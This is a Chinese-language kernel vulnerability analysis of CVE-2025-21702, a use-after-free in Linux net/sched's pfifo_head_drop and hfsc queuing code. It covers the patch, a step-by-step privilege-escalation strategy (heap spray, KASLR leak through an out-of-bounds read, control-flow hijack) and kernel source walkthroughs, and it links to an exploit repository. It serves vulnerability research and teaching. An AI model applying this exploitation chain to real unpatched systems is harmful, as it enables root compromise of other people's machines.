【kernel exploit】CVE-2025-21702-net-sched UAF漏洞分析

影响版本 :v2.6.34 57dbb2d83d10引入,影响Linux 6.13.2及以前,6.13.3已修复

测试版本 :Linux-6.6.75 exploit及测试环境下载地址---https://github.com/bsauce/kernel-exploit-factory

作者测试的内核版本是 LTS-6.6.64 / COS-109-17800.372.84。

编译选项 :需要CAP_NET_ADMINCAP_NET_RAW 权限。

CONFIG_NET_SCHED / CONFIG_NET_SCH_FIFO / CONFIG_NET_SCH_HFSC (hfsc_class) / CONFIG_XFRM (xfrm_policy) / CONFIG_XFRM_USER (NETLINK_XFRM) / CONFIG_DUMMY (需开启dummy网口)

参见net/sched/Makefile,可勾选所有相关选项。

CONFIG_BINFMT_MISC=y (否则启动VM时报错)

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

c 复制代码
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.6.75.tar.xz
$ tar -xvf linux-6.6.75.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述net/sched模块中,当对某个qdisc(设置其sch->limit == 0)调度器调用pfifo_tail_enqueue()函数时,会使该qdisc的队列长度qlen被错误增加(虽然队列已满,却在没有先丢弃一个packet情况下,直接加入了一个新packet),而父qdisc(调用者)的长度qlen却没有增加,这使得父队列的qlen不等于子队列的qlen之和,可以构造出UAF。

本漏洞和pfifo_head_drop队列类型的特点相关,packet入队时(pfifo_tail_enqueue()函数)先判断长度是否越界(sch->q.qlen < sch->limit),如果越界则先将头部的packet删除(同时Qdisc->q.qlen减1),再将新packet加到尾部,然后将Qdisc->q.qlen加1,最后返回NET_XMIT_CN,总体上qlen大小应该不变。若返回NET_XMIT_SUCCESS,父Qdisc会正常将qlen加1;若返回NET_XMIT_CN,父Qdisc会认为子Qdisc的qlen不增不减,所以不改变qlen。问题是没有考虑sch->limit == 0的情况,此时pfifo_tail_enqueue()会判定越界,子Qdisc的qlen只加1不减1,且返回了NET_XMIT_CN,导致父Qdisc的qlen不变。

其他类型的Qdisc为什么没有这个漏洞?本质是需要构造父Qdisc和子Qdisc的qlen不相等的状态。但其他Qdisc没有这种先丢packet再入队packet,qlen加1并返回NET_XMIT_CN的操作模式。

补丁patch

diff 复制代码
diff --git a/net/sched/sch_fifo.c b/net/sched/sch_fifo.c
index b50b2c2cc09bc6..e6bfd39ff33965 100644
--- a/net/sched/sch_fifo.c
+++ b/net/sched/sch_fifo.c
@@ -40,6 +40,9 @@ static int pfifo_tail_enqueue(struct sk_buff *skb, struct Qdisc *sch,
 {
 	unsigned int prev_backlog;
 
+	if (unlikely(READ_ONCE(sch->limit) == 0))
+		return qdisc_drop(skb, sch, to_free);
+
 	if (likely(sch->q.qlen < READ_ONCE(sch->limit)))
 		return qdisc_enqueue_tail(skb, sch);

保护机制:KASLR/SMEP/SMAP/KPTI

利用总结

  • 利用逻辑漏洞构造UAF原语;
  • 利用UAF原语构造heap read原语(喷射user_key_payload 占据UAF hfsc_class);
  • 利用heap read原语泄露KASLR;
  • 利用UAF原语构造代码执行原语;
  • 利用代码执行提权。

详细利用步骤

  • [1] 构造UAF:通过父子Qdisc的qlen包个数值不一致,可以触发两次连续的eltree_insert()同一class,构造出hfsc_class对象的UAF - kmalloc-1024。悬垂指针是Qdisc_A->privdata->eligible.rb_node,指向hfsc_class中的UAF_rb_node / class_A->el_node

    • 1-1\] \[1-2\] 创建 `Qdisc_A -> Qdisc_C`,Qdisc_A 类型为 `hfsc`,Qdisc_C类型为`pfifo_head_drop`并设置 `sch->limit == 0`;

      • Qdisc_A->q.qlen == 0
      • Qdisc_C->q.qlen == 1
    • 1-4\] 删除`Qdisc_C`,将父 Qdisc的 `->q.qlen` 减去待删除的`Qdisc->q.qlen`,此时有 * `Qdisc_A->q.qlen == -1`

    • 1-6\] \[1-7\] 创建`Qdisc_B`,类型为 `hfsc`;创建 `Qdisc_C`,类型为`pfifo_head_drop`并设置 `sch->limit == 0`; * 此时的关系为 `class_A ->Qdisc_B -> Qdisc_C`

    • 1-9\] 触发packet入队,Qdisc_C加1, QdiscA/Qdisc_B 不变。 * `Qdisc_A->q.qlen == -1` * `Qdisc_B->q.qlen == 0` * `Qdisc_C->q.qlen == 1`

      • Qdisc_A->q.qlen == -2
      • Qdisc_B->q.qlen == -1
    • 1-11\] 创建正常`Qdisc_C`,类型为,设置其`sch->limit == 0xFFFFFFFF` * 此时的关系为 `class_A ->Qdisc_B -> Qdisc_C`

      • 通过修改 class_A 触发;
      • 触发update_ed()需满足2个条件:cl->qdisc->q.qlen != 0 其中cl = class_A / cl->qdisc = Qdisc_B,且创建和修改class_A时都传入TCA_HFSC_RSC
    • 1-13\] 触发 Flow1: `hfsc_enqueue()` -\> `init_ed()` -\> `eltree_insert()` * 第1次packet入队,`hfsc_enqueue(Qdisc_A)` -\> `hfsc_enqueue(Qdisc_B)` -\> `pfifo_tail_enqueue(Qdisc_C)`,有如下 * `Qdisc_A->q.qlen == -1` * `Qdisc_B->q.qlen == 0` * `Qdisc_C->q.qlen == 1` * 入队后会触发出队,但由于`Qdisc_B->q.qlen == 0`,所以 `hfsc_dequeue(Qdisc_A) -> hfsc_dequeue(Qdisc_B)` 出队到Qdisc_B时会停止,不会继续调用`Qdisc_C->dequeue - qdisc_dequeue_head()`函数,这样就可以保持预期的 `rb_tree` 结构; ```c // class_A->el_node 状态 A->el_node->__rb_parent_color == (0 | RB_BLACK); // A == cl A->el_node->rb_right == NULL; A->el_node->rb_left == NULL; cl->sched->eligible.rb_node == &(A->el_node); ``` * 第2次packet入队,`hfsc_enqueue(Qdisc_A)` -\> `hfsc_enqueue(Qdisc_B)` -\> `pfifo_tail_enqueue(Qdisc_C)`,**满足条件`cl->qdisc->q.qlen == 0` 所以触发执行`init_ed()`(`cl->qdisc = Qdisc_B`)**。有如下 * `Qdisc_A->q.qlen == 0` * `Qdisc_B->q.qlen == 1` * `Qdisc_C->q.qlen == 2` * 入队后会触发出队,但由于`Qdisc_A->q.qlen == 0`,这样执行到`hfsc_dequeue(Qdisc_A)`就提前返回NULL(不会继续调用`hfsc_dequeue(Qdisc_B)` 和 `Qdisc_C->dequeue()`),并保持`rb_tree`结构受控。 ```c // class_A->el_node 状态 A->el_node->__rb_parent_color == &(A->el_node); // A == cl A->el_node->rb_right == NULL; A->el_node->rb_left == &(A->el_node); cl->sched->eligible.rb_node == &(A->el_node); ```

  • [2] 构造heap OOB read,泄露内核基址。通过红黑树节点插入原理来篡改user_key_payload->datalen构造越界读,泄露相邻xfrm_policy对象中的xfrm_policy_timer函数指针。

    • 2-1\] 触发`hfsc_class`对象的UAF。将包含UAF指针的Qdisc标记为 `Victim_Qdisc` - `Qdisc_A`;------ **`Qdisc_A->privdata` 指向`hfsc_sched`对象,`Qdisc_A->privdata->eligible.rb_node`即为悬垂指针,指向`UAF_rb_node` / `class_A->el_node`**。

    • 2-3\] **泄露`hfsc_class - class_B`地址(记为`hfsc_class_leak_address`)** 。创建`class_B`,默认创建`class_B->qdisc` 类型为`pfifo`,通过`Qdisc_A`入队packet到class_B,就会触发`init_ed(class_B)` -\> `eltree_insert(class_B)`。**目的是将`class_B->rb_node`插入到`Qdisc_A->privdata->eligible.rb_node->rb_right` / `class_A->el_node->rb_right`,也即UAF漏洞对象中,以便通过`user_key_payload`泄露`class_B`的堆地址**。 * 入队操作成功后,`Victim_Qdisc->q.qlen == 0`(**原先删除class_A之后该值为-1** )。因此,我们可以在调用Qdisc_A的 `->dequeue()` 时就提前返回NULL,并保持`class_B`对象在tree上。 * 入队调用链:`hfsc_enqueue()` -\> `pfifo_enqueue()` \& `init_ed(class_B)` -\> `eltree_insert(class_B)`

      • 删除class_B,分配user_key_payload占据class_B。此时 Victim_Qdisc->q.qlen == -1

      • 释放user_key_payload_A,喷射user_key_payload,伪造UAF_rb_node->rb_left == hfsc_class_leak_address + sizeof(struct user_key_payload) - 8,也即指向(fake_hfsc_class_backed_by_user_key_payload_B->datalen)

      • 目前UAF_rb_node的值如下:

        c 复制代码
        UAF_rb_node->__rb_parent_color == NULL | RB_BLACK;
        UAF_rb_node->rb_right == NULL;
        UAF_rb_node->rb_left == hfsc_class_leak_address + sizeof(struct user_key_payload) - 8; 		// 这里表示 &(fake_hfsc_class_backed_by_user_key_payload_B->datalen) 的地址     由于datalen值为0x200,最低位为0,所以视为RB_RED节点。
        UAF_hfsc_class->cl_e == 0;
    • 2-5\] 往`UAF_rb_node->rb_right`添加node - class_C,添加class_C,使得`UAF_hfsc_class->el_node->rb_right = class_C->el_node`。 * 创建class_C - `hfsc_class`,`class_C->qdisc`指向了一个默认的`pfifo` qdisc。 * 通过Qdisc_A入队packet,触发`init_ed(class_C)` -\> `eltree_insert(class_C)`,则将class_C插入到`UAF_rb_node->rb_right`。 * 此时`Victim_Qdisc->q.qlen == 0`,packet出队时`hfsc_dequeue()`提前返回,不会继续删除node tree上的`class_C`。 * 目前`UAF_rb_node`的值如下: ```c UAF_rb_node->__rb_parent_color == NULL | RB_BLACK; UAF_rb_node->rb_right == &(class_C->el_node); UAF_rb_node->rb_left == &(fake_hfsc_class_backed_by_user_key_payload_B->datalen); ```

    • 2-8\] 触发`&(hfsc_class_backed_by_user_key_payload_B->datalen)` 覆写。目标是覆写 `user_key_payload_B->datalen` 构造越界读,触发`__rb_insert()`函数修改 `rb->__rb_parent_color`(实际修改了`user_key_payload_B->datalen`)。 * 创建`class_D` - `hfsc_class`(设置`HFSC_FSC` flag); * 创建`Qdisc_C`,类型为`pfifo_head_drop`,设置`sch->limit == 0`,关系为 `Qdisc_A -> class_D -> Qdisc_C`。 * 通过`Qdisc_A`往`class_C`进行packet入队,触发逻辑漏洞,以保持`Victim_Qdisc->q.qlen == 0`,并构造`class_D->qdisc->q.len = 1`(也即`Qdisc_C->q.qlen == 1`,是触发`init_ed()` - `class_D`加入到红黑树的重要条件)。 * 触发datalen覆写:本质是通过触发`class_D`加入到红黑树rb_tree。触发`hfsc_change_class(class_D)` -\> `init_ed(class_D)` -\> `eltree_insert()` -\> `rb_link_node()` -\> `rb_insert_color()` -\> `__rb_insert()`。 * 参见` 3-4`红黑树节点插入的原理。 ```c /* rb_tree 结构如下所示 {1} UAF_rb_node / \ {2} user_key_payload_B+0x10 {3} class_C \ {4} class_D 由于父节点是祖父的右儿子,父红叔叔红,走第[5]条路 → 父叔染黑,祖父染红,继续向上处理。 原本是将 叔叔->__rb_parent_color = 祖父 | RB_BLACK 结果却是 *(user_key_payload_B+0x10) = p | 1, 错误将 user_key_payload_B->datalen 篡改为一个非常大的指针,导致越界读 */ ```

  • [3] 劫持控制流。伪造UAF_hfsc_class->dequeue函数指针,通过packet入队之后的出队,触发hfsc_dequeue() -> qdisc_dequeue_peeked() -> sch->dequeue() 劫持控制流,RDI寄存器可控。

    • 3-1\] 触发UAF。

    • 3-3\] 泄露`hfsc_class - class_B`对象的堆地址。

    • 3-7\] 释放`user_key_payload_A`,堆喷`user_key_payload`,使得`UAF_hfsc_class->qdisc`指向第4步准备的`fake Qdisc`。

    • 触发控制流劫持:
      • 第1次packet入队,使得Victim_Qdisc->q.qlen == 0,这样hfsc_dequeue()会提前返回。
      • 第2次packet入队,使得Victim_Qdisc->q.qlen == 1,这样hfsc_dequeue()会触发cl->qdisc->dequeue()控制流劫持。
      • 需满足两个条件:
        • Qdisc_A / Victim_qdisc->q.qlen != 0
        • Qdisc->gso_skb.next = &Qdisc->gso_skb

1. net-sched模块介绍

1-1. 概念

简介net/sched 是 Linux 内核中流量控制(Traffic Control)子系统的核心模块,它提供了强大的网络数据包调度Scheduling(egress发包顺序)、整形Shapping(egress发包限速)、策略执行功能Policing(ingress收包,延迟或丢弃)、过滤Dropping(丢弃数据包,出入两个方向)iproute2软件包中的tc程序提供了用户态的规则配置工具。

  • qdisc(排队规则) :决定数据包如何在网络接口上排队等待传输的规则。不同类型的 qdisc 实现了不同的排队和传输策略,例如 FIFO、优先级队列、令牌桶等。两个回调接口 enqueue / dequeue 函数用于数据包入队和出队。不同的qdisc实现可参见net/sched/sch_*代码。
  • class(类别):用于将流量分组,以便应用不同的流量控制策略(qdisc)。
  • classifier(也称为filter):根据特定的规则将流量分类到不同的组(class)。
  • action(动作) :要对数据包执行什么动作,例如允许数据包通过(pass)、丢弃数据包(drop)、重新分类(reclassify)等。支持的action类别如下:
    • TC_ACT_OK:允许数据包通过并继续处理。
    • TC_ACT_SHOT:丢弃数据包。
    • TC_ACT_RECLASSIFY:将数据包重新分类,再次应用分类规则。
    • TC_ACT_PIPE:将数据包传递给链中的下一个元素。

标识符 :qdisc和class的标识符叫做handle,它是一个32位的整数,分为major和minor两部分,各占16位,表达方式为​m:n,m或n省略时,表示0。

  • m:0一般表示qdisc;对于class,minor一般从1开始,而m使用它所挂载的qdisc的major号。
  • root qdisc的handle一般使用1:0表示,ingress一般使用ffff:0表示。

关系

  • qdisc需要attach到网络接口上,一个网络接口可以有多个qdisc。
  • class和filter都需要attach到qdisc上。
  • action需与filter关联,即给filter添加action。在某些情况下,过滤器可以直接返回一个动作码(action),而不是一个类别 ID(classid)。

流量路径 :对于树形结构的qdisc, 当数据包到达最顶层qdisc时,会层层向下递归进行调用。如,父对象(qdisc/class)的enqueue回调接口被调用时,其上所挂载的所有filter依次被调用,直到一个filter匹配成功。然后将数据包入队到filter所指向的class(或者执行该filter所挂载的action),packet入队具体实现则是调用class->qdisc->enqueue函数。没有成功匹配filter的数据包分类到默认的class中。

  • 流量首先到达网络接口,例如 eth0。
  • 流量通过过滤器(filter/classifier),将流量分发到不同的class。如果这个filter有action,则直接执行action,如丢弃、放行等,不需要将流量发送到 qdisc。
  • 根据过滤器的匹配结果,流量被分配到相应的qdisc。
  • 经过 qdisc 处理后,数据包将按照配置的规则被发送到网络。

流量队列类型

  • FIFO 队列 :先入先出,不考虑流量分类;参见net/sched/sch_fifo.c
  • PFIFO_FAST 队列:FIFO 队列的改进版本,支持流量分类;
  • SFQ 队列:随机公平队列,对所有 IP Packets 都一视同仁,随机分配;
  • 令牌桶队列(Token Bucket) :分为TBF(Token Bucket Filter,令牌桶过滤器)队列,HTB(Hierarchical Token Bucket,分层令牌桶)队列。网络流量比较恒定的场景中适合使用较小的令牌桶,而经常有突发流量的网络则适合使用大的令牌桶。
    • (1)一个固定容量的 Bucket(桶)装着一定数量的 Tokens(令牌),Bucket 会以一定的 Rate(速率)生产 Tokens,直到装满。即:Bucket 的容量即 Tokens 数量的上限。
    • (2)一个 Packet 对应一个 Token,进入到 Queue 中的 Packet 只有从 Bucket 中获得了 Token 之后才可以 DEQUEUE。
    • (3)Bucket 通过控制 Token 生成的 Rate,从而控制 Packet 出队的 Rate。
    • (4)当没有 Packet 要出队时,Bucket 中的 Tokens 会累积起来,以应对一定程度的 Burst(突发)流量,突发时长 = 令牌桶容量 / (发送速率 - 令牌补充速率)。

1-2. 示例

示例树形结构

对应tc命令

示例命令 :如何使用tc命令实现把来自某个ip(本机ip xx.yy.zz.kk)发往某个ip(远程ip 31.13.68.169)的流量做丢包处理?

  • 给enp1s0网络接口添加(attach)一个qdisc(流量整形规则)

    bash 复制代码
    $ tc qdisc add dev enp1s0 root handle 1: htb
    • tc qdisc add 命令用于添加一个 qdisc,对应的还有 tc qdisc del
    • dev enp1s0 指定了要添加 qdisc 的网络设备接口,这里网络设备接口是 enp1s0
    • root 表示将要添加的 qdisc 作为指定网络设备的根 qdisc,根 qdisc 是网络接口上的第一个 qdisc,所有通过该接口的流量都会首先经过它。
    • handle 1 可以理解为给这个 qdisc 指定一个id。为这个 qdisc 分配一个句柄(handle),在本例中是 1:,句柄是 qdisc 在网络设备上的唯一标识符。qdisc和filter、class的id通常采用 major:minor 的格式, majorminor 可以是任意的数字,但应该是唯一的。举个例子,假设qdisc的id为99:,class可以是99:10,filter可以是99:11
    • htb:htb是Hierarchical Token Bucket,一个分层令牌桶 qdisc。
  • 创建一个filter并关联drop这个action,将这个filter添加(attach)到我们创建的qdisc。filter关联drop action后,是不需要将流量分派到某个class的,所以我们并没有创建class

    bash 复制代码
    $ tc filter add dev enp1s0 protocol ip parent 1: prio 1 u32 match ip src xx.yy.zz.kk/32 match ip dst 31.13.68.169/32 action drop
    • tc filter add 命令用于添加一个filter,对应的还有 tc filter del
    • dev enp1s0tc qdisc add 命令,指定网络设备接口,这里网络设备接口是 enp1s0
    • protocol ip 指定要匹配的协议为 IP协议。
    • parent 1: 指定父 qdisc 的句柄,这里根 qdisc 的句柄是 1:。
    • prio 1:设置过滤器的优先级。
    • u32:指定使用 u32 匹配规则。
    • match ip src xx.yy.zz.kk/32:匹配源 IP 地址为 xx.yy.zz.kk 的数据包。/32 表示精确匹配该 IP 地址。
    • match ip dst 31.13.68.169/32:匹配目的 IP 地址为 31.13.68.169 的数据包。
    • action drop 对匹配的数据包执行丢包动作。

1-3. 代码分析

(1)功能函数入口&初始化

主要功能RTM_NEWQDISC / RTM_DELQDISC / RTM_GETQDISC / RTM_NEWTCLASS / RTM_DELTCLASS / RTM_GETTCLASS

初始化示例-Qdisc操作表对象pktsched_init() -> register_qdisc,初始化后将操作表存入 struct Qdisc_ops *qdisc_base 全局链表中。

c 复制代码
// net/sched/sch_api.c
static int __init pktsched_init(void)
{
	int err;

	err = register_pernet_subsys(&psched_net_ops);
	if (err) {
		pr_err("pktsched_init: "
		       "cannot initialize per netns operations\n");
		return err;
	}

	register_qdisc(&pfifo_fast_ops);		// 函数调用表 - 通过网络发包触发。register_qdisc() 将该结构存入 `struct Qdisc_ops *qdisc_base` 全局链表中
	register_qdisc(&pfifo_qdisc_ops);
	register_qdisc(&bfifo_qdisc_ops);
	register_qdisc(&pfifo_head_drop_qdisc_ops);
	register_qdisc(&mq_qdisc_ops);
	register_qdisc(&noqueue_qdisc_ops);

	rtnl_register(PF_UNSPEC, RTM_NEWQDISC, tc_modify_qdisc, NULL, 0); 	// 注册用户接口配置函数
	rtnl_register(PF_UNSPEC, RTM_DELQDISC, tc_get_qdisc, NULL, 0);
	rtnl_register(PF_UNSPEC, RTM_GETQDISC, tc_get_qdisc, tc_dump_qdisc,
		      0);
	rtnl_register(PF_UNSPEC, RTM_NEWTCLASS, tc_ctl_tclass, NULL, 0);
	rtnl_register(PF_UNSPEC, RTM_DELTCLASS, tc_ctl_tclass, NULL, 0);
	rtnl_register(PF_UNSPEC, RTM_GETTCLASS, tc_ctl_tclass, tc_dump_tclass,
		      0);

	tc_wrapper_init();

	return 0;
}

// rtnl_register() -> rtnl_register_internal()
// 注册过程:从rtnl_msg_handlers[] 数组中根据 protocol 类型找到对应的 rtnl_link 数组,然后将 doit 函数 tc_modify_qdisc() 赋值给 link->doit

subsys_initcall(pktsched_init);

static struct Qdisc_ops *qdisc_base;
// 首次注册 Qdisc_ops 时,enqueue/peek/dequeue 会被赋值为 noop_qdisc_ops 操作,在open时才会被修改,最后存入 qdisc_base 全局链表中
int register_qdisc(struct Qdisc_ops *qops)
{
	struct Qdisc_ops *q, **qp;
	int rc = -EEXIST;

	write_lock(&qdisc_mod_lock);
	for (qp = &qdisc_base; (q = *qp) != NULL; qp = &q->next)
		if (!strcmp(qops->id, q->id))
			goto out;

	if (qops->enqueue == NULL)
		qops->enqueue = noop_qdisc_ops.enqueue;
	if (qops->peek == NULL) {
		if (qops->dequeue == NULL)
			qops->peek = noop_qdisc_ops.peek;
		else
			goto out_einval;
	}
	if (qops->dequeue == NULL)
		qops->dequeue = noop_qdisc_ops.dequeue;

	if (qops->cl_ops) {
		const struct Qdisc_class_ops *cops = qops->cl_ops;

		if (!(cops->find && cops->walk && cops->leaf))
			goto out_einval;

		if (cops->tcf_block && !(cops->bind_tcf && cops->unbind_tcf))
			goto out_einval;
	}

	qops->next = NULL;
	*qp = qops;
	rc = 0;
out:
	write_unlock(&qdisc_mod_lock);
	return rc;

out_einval:
	rc = -EINVAL;
	goto out;
}
EXPORT_SYMBOL(register_qdisc);
(2)Qdisc创建-hfsc

用户调用RTM_NEWQDISC

c 复制代码
// 用户代码示例
struct tc_hfsc_qopt hfsc_qopt_A = { .defcls = 0 };
void create_hfsc_qdisc(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent, 				// TC_H_ROOT
	u32 tcm_handle, 				// 0xaaaa0000
	const struct tc_hfsc_qopt *qopt 
)
{	// tc_modify_qdisc() - 对应内核处理函数,需构造: nlmsghdr + tcmsg + nlattr + tc_hfsc_qopt { .defcls = 0 }
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = RTM_NEWQDISC; 									// RTM_NEWQDISC  操作码
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST | NLM_F_CREATE;
	struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(*tcm));	// tcmsg - Traffic control messages
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_parent = tcm_parent; 										// 父handle
	tcm->tcm_handle = tcm_handle;
	mnl_attr_put_strz(nlh, TCA_KIND, "hfsc"); 							// TCA_KIND = hfsc  Qdisc类型
	mnl_attr_put(nlh, TCA_OPTIONS, sizeof(*qopt), qopt);
	Mnl_socket_sendto(route_socket, nlh, nlh->nlmsg_len);
	int ret = validate_mnl_socket_operation_success(route_socket, seq);
}

内核trace

  • SYSCALL_DEFINE4-sendto -> __sys_sendto() -> __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - netlink_sendmsg() -> netlink_unicast() -> netlink_unicast_kernel() -> nlk->netlink_rcv - rtnetlink_rcv() -> netlink_rcv_skb() -> rtnetlink_rcv_msg()
  • link->doit - tc_modify_qdisc()
    • tc_modify_qdisc() -> qdisc_create() -> qdisc_alloc() & hfsc_init_qdisc()
    • tc_modify_qdisc() -> qdisc_graft() -> hfsc_search_class() & hfsc_graft_class() -> qdisc_replace()

关键代码总结

  • tc_modify_qdisc()
    • [1] qdisc_create() - 创建Qdisc并初始化,自动创建对应的root class - Qdisc->privdata->root - hfsc_class类型,root class后自动创建"pfifo"-pfifo_qdisc_ops类型的Qdisc - Qdisc->privdata->root.qdisc
    • [2] qdisc_graft() - 将parent Qdisc的class后面连上新创建的 Qdisc,cl->qdisc = new Qdisc

注意

  • 不同类型的Qdisc都有自己的struct Qdisc_ops结构定义,其中包含关键的函数定义,例如enqueue/dequeue。可通过搜索struct Qdisc_ops来查找所有的队列处理模式,代码位于net/sched/sch_*
  • 不同的class有不同的struct Qdisc_class_op结构定义。
c 复制代码
static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n,
			   struct netlink_ext_ack *extack)
{
    struct net *net = sock_net(skb->sk);
	struct tcmsg *tcm;
	struct nlattr *tca[TCA_MAX + 1];
	struct net_device *dev;
	u32 clid;
	struct Qdisc *q, *p;
	int err;
    ...
    q = qdisc_create(dev, dev_queue, 			// [1] <--- qdisc_create()
				 tcm->tcm_parent, tcm->tcm_handle,
				 tca, &err, extack);
    ...
    err = qdisc_graft(dev, p, skb, n, clid, q, NULL, extack); 	// [2] p = parent Qdisc; q = new child Qdisc  // 这里若分配的是第一个 Qdisc, 则 parent_handle = TC_H_ROOT  =>  p = NULL;  若分配的是第2个Qdisc,parent_handle != TC_H_ROOT => p = Qdisc_parent
    ...
}
// [1] qdisc_create() - 创建Qdisc
static struct Qdisc *qdisc_create(struct net_device *dev,
				  struct netdev_queue *dev_queue,
				  u32 parent, u32 handle,
				  struct nlattr **tca, int *errp,
				  struct netlink_ext_ack *extack)
{
	int err;
	struct nlattr *kind = tca[TCA_KIND];
	struct Qdisc *sch;
	struct Qdisc_ops *ops;
	struct qdisc_size_table *stab;

	ops = qdisc_lookup_ops(kind); 					//  "hfsc" / "pfifo_head_drop"  所以搜索 `struct Qdisc_ops` 可以看出有多少种
    ...
    sch = qdisc_alloc(dev_queue, ops, extack);		// [1-1] 分配Qdisc
    ...
    sch->parent = parent; 		// tcm->tcm_parent
    sch->handle = handle; 		// tcm->tcm_handle
    ...
    if (ops->init) {
		err = ops->init(sch, tca[TCA_OPTIONS], extack); 	// [1-2] 本exp中 hfsc - hfsc_qdisc_ops - hfsc_init_qdisc() 会自动创建对应的 hfsc_class
		if (err != 0)
			goto err_out4;
	}
    ...
    qdisc_hash_add(sch, false);
    ...
}
// [1-1]
struct Qdisc *qdisc_alloc(struct netdev_queue *dev_queue,
			  const struct Qdisc_ops *ops,
			  struct netlink_ext_ack *extack)
{
	struct Qdisc *sch;
	unsigned int size = sizeof(*sch) + ops->priv_size;
    ...
    dev = dev_queue->dev;
	sch = kzalloc_node(size, GFP_KERNEL, netdev_queue_numa_node_read(dev_queue));
	...
    sch->ops = ops; 				// Qdisc 对象的回调函数初始化 - 来自预先定义的 `struct Qdisc_ops`
	sch->flags = ops->static_flags;
	sch->enqueue = ops->enqueue;
	sch->dequeue = ops->dequeue;
	sch->dev_queue = dev_queue;
    ...
}

static struct Qdisc_ops hfsc_qdisc_ops __read_mostly = {
	.id		= "hfsc",
	.init		= hfsc_init_qdisc,
	.change		= hfsc_change_qdisc,
	.reset		= hfsc_reset_qdisc,
	.destroy	= hfsc_destroy_qdisc,
	.dump		= hfsc_dump_qdisc,
	.enqueue	= hfsc_enqueue,
	.dequeue	= hfsc_dequeue,
	.peek		= qdisc_peek_dequeued,
	.cl_ops		= &hfsc_class_ops,
	.priv_size	= sizeof(struct hfsc_sched),
	.owner		= THIS_MODULE
};
// [1-2] hfsc_init_qdisc() - 第一个 Qdisc 自动创建 hfsc_class, hfsc_class.qdisc 为自动创建的类型为 pfifo_qdisc_ops 的 Qdisc
static int
hfsc_init_qdisc(struct Qdisc *sch, struct nlattr *opt,
		struct netlink_ext_ack *extack)
{
	struct hfsc_sched *q = qdisc_priv(sch); 	// q->privdata 指向 hfsc_sched
	struct tc_hfsc_qopt *qopt;
	int err;
	...
	qopt = nla_data(opt);
	q->defcls = qopt->defcls;
	...
	q->eligible = RB_ROOT;
	...
	q->root.cl_common.classid = sch->handle; 	// 第1个Qdisc, 自动创建和初始化 sch->privdata->root (hfsc_class对象)
	q->root.sched   = q;
	q->root.qdisc = qdisc_create_dflt(sch->dev_queue, &pfifo_qdisc_ops, 	// hfsc_class.qdisc = pfifo_qdisc_ops  class后面自动创建pfifo_qdisc_ops类型的Qdisc
					  sch->handle, NULL);
	if (q->root.qdisc == NULL)
		q->root.qdisc = &noop_qdisc;
	else
		qdisc_hash_add(q->root.qdisc, true);
	INIT_LIST_HEAD(&q->root.children);
	q->root.vt_tree = RB_ROOT;
	q->root.cf_tree = RB_ROOT;

	qdisc_class_hash_insert(&q->clhash, &q->root.cl_common);
	qdisc_class_hash_grow(sch, &q->clhash);

	return 0;
}

struct hfsc_sched {
	u16	defcls;				/* default class id */
	struct hfsc_class root;			/* root class */ 	// <--- hfsc_class
	struct Qdisc_class_hash clhash;		/* class hash */
	struct rb_root eligible;		/* eligible tree */
	struct qdisc_watchdog watchdog;		/* watchdog timer */
};

// [2] qdisc_graft() - 将新建的 new Qdisc 添加到 Qdisc_parent 中去
static int qdisc_graft(struct net_device *dev, struct Qdisc *parent,
		       struct sk_buff *skb, struct nlmsghdr *n, u32 classid,
		       struct Qdisc *new, struct Qdisc *old,
		       struct netlink_ext_ack *extack)
{
	struct Qdisc *q = old;
	struct net *net = dev_net(dev);

	if (parent == NULL) { 	// 第1个Qdisc,没有parent
        ...
    } else {
		const struct Qdisc_class_ops *cops = parent->ops->cl_ops; 	// 第2个Qdisc, cops = hfsc_class_ops, 
		unsigned long cl;
		int err;
		...
		cl = cops->find(parent, classid); 					// [2-1] hfsc_search_class() - 找到 Qdisc 相连的id为 classid 的 hfsc_class
		...
		err = cops->graft(parent, cl, new, &old, extack); 	// [2-2] hfsc_graft_class() hfsc_class cl->qdisc = new Qdisc  将parent Qdisc的class后面连上新创建的 Qdisc
		if (err)
			return err;
		notify_and_destroy(net, skb, n, classid, old, new, extack);
	}
	return 0;
}    

static const struct Qdisc_class_ops hfsc_class_ops = {
	.change		= hfsc_change_class,
	.delete		= hfsc_delete_class,
	.graft		= hfsc_graft_class, 		// <---
	.leaf		= hfsc_class_leaf,
	.qlen_notify	= hfsc_qlen_notify,
	.find		= hfsc_search_class, 		// <---
	.bind_tcf	= hfsc_bind_tcf,
	.unbind_tcf	= hfsc_unbind_tcf,
	.tcf_block	= hfsc_tcf_block,
	.dump		= hfsc_dump_class,
	.dump_stats	= hfsc_dump_class_stats,
	.walk		= hfsc_walk
};

// [2-2] hfsc_graft_class() - hfsc_class cl->qdisc = new Qdisc
static int
hfsc_graft_class(struct Qdisc *sch, unsigned long arg, struct Qdisc *new,
		 struct Qdisc **old, struct netlink_ext_ack *extack)
{
	struct hfsc_class *cl = (struct hfsc_class *)arg;
	... 
	*old = qdisc_replace(sch, new, &cl->qdisc); 	// [3] cl->qdisc = new
	return 0;
}
// [3]
static inline struct Qdisc *qdisc_replace(struct Qdisc *sch, struct Qdisc *new,
					  struct Qdisc **pold)
{
	struct Qdisc *old;

	sch_tree_lock(sch);
	old = *pold;
	*pold = new;
	if (old != NULL) 			// 
		qdisc_purge_queue(old);	// 若原先 cl->qdisc 存在一个 Qdisc,则删除原先的 Qdisc
	sch_tree_unlock(sch);

	return old;
}
(3)Qdisc创建-pfifo_head_drop

调用链:和hfsc Qdisc分配一样,不同点是Qdisc初始化函数是fifo_hd_init()

